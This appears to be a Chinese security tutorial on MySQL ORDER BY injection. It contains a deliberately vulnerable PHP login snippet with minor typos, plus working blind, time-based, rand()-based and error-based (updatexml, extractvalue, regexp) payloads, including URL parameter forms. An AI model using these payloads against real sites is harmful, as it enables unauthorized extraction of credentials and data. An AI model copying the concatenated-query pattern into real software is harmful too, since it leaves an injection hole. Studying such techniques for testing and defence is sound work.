什么是order by

order by 是MySQL中对查询数据进行排序的方法,使用如下:

  1. select * from table_name order by column_name(|number) asc; 升序排序
  2. select * from table_name order by column_name(|number) desc; 降序排序

这里重点在于 order by 后既可以填列名或者是一个数字
例如:id 是 user表 的第一列,如果我们想根据 id 来 排序,则用两种写法:

select  * from user order by id; 
select  * from user order by 1;

order by 盲注

结合union 来盲注

假如我们有这么一段源代码

<?php
$sql = 'select * from admin where username='".$username."'';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if(isset($row)&&row['username']!="admin"){
    $hit="username error!";
}else{
    if ($row['password'] === $password){
        $hit="";
    }else{
        $hit="password error!";
    }

}

我们写入 username = admin’ union 1,2,’字符串’ order by 3
sql语句就变成了

select * from admin where username='admin' or 1 union select 1,2,binary '字符串' order by 3;

这里我们就会对第三列进行比较,将字符串和密码进行比较。然后我们就可以根据页面返回情况的不同进行盲注。
这里加入 binary 是为了让 order by 比较的时候区分大小写(默认不区分)
示例
)J8IHI){OC2P]G8Y_(]J)@8.png
这里 order by 3 是根据 第三列来进行比较的,如果我们union 查询的字符串比 password 小的话,我们构造的1,2,a 就会成为第一列,那么在源码对用户名进行对比的时候,就会返回username error!;如果union 查询的字符串比password大,那么正确的数据就会是第一列,那么页面机会返回password error!

基于if() 盲注

需要知道列名

order by if(1=1,id,username);

不需要知道列名

payload

order by if(表达式,1,(select id from information_schema.tables))

如果表达式为false时,sql语句会报错,导致查询内容为空;如果表达式为true,则会返回正常页面。

基于时间的盲注

payload

order by if(1=1,1,sleep(1))

结果

select * from table_name order by if(1=1,1,sleep(1)); #正常返回
select * from table_name order by if(1=2,1,sleep(1)); #有延迟

在写脚本时,可以添加timeout这一参数来避免延迟时间过长。

基于rand()的盲注

0_{[R4BGV4@H(GN]BXWQBY8.png
payload

order by rand(ascii(mid((select database()),1,1))>96)

order by 报错注入

updatexml

select * from table_name order by updatexml(1,if(1=1,1,user()),1); #查询正常
select * from table_name order by updatexml(1,if(1=2,1,user()),1); #查询报错

利用
/?id = updatexml(1,if(1=1,1,user()),1) 正确
/?id = updatexml(1,if(1=2,1,user()),1) 错误

extractvalue

select * from ha order by extractvalue(1,if(1=1,1,user())); #查询正常
select * from ha order by extractvalue(1,if(1=2,1,user())); #查询报错

利用
?id = extractvalue(1,if(1=1,1,user())) 正确
?id = extractvalue(1,if(1=2,1,user())) 错误

regexp

利用
?id = (select+1+regexp+if(1=1,1,0x00)) 正常
?id = (select+1+regexp+if(1=2,1,0x00)) 错误

参考链接

Mysql Order By注入总结
sql注入之order by注入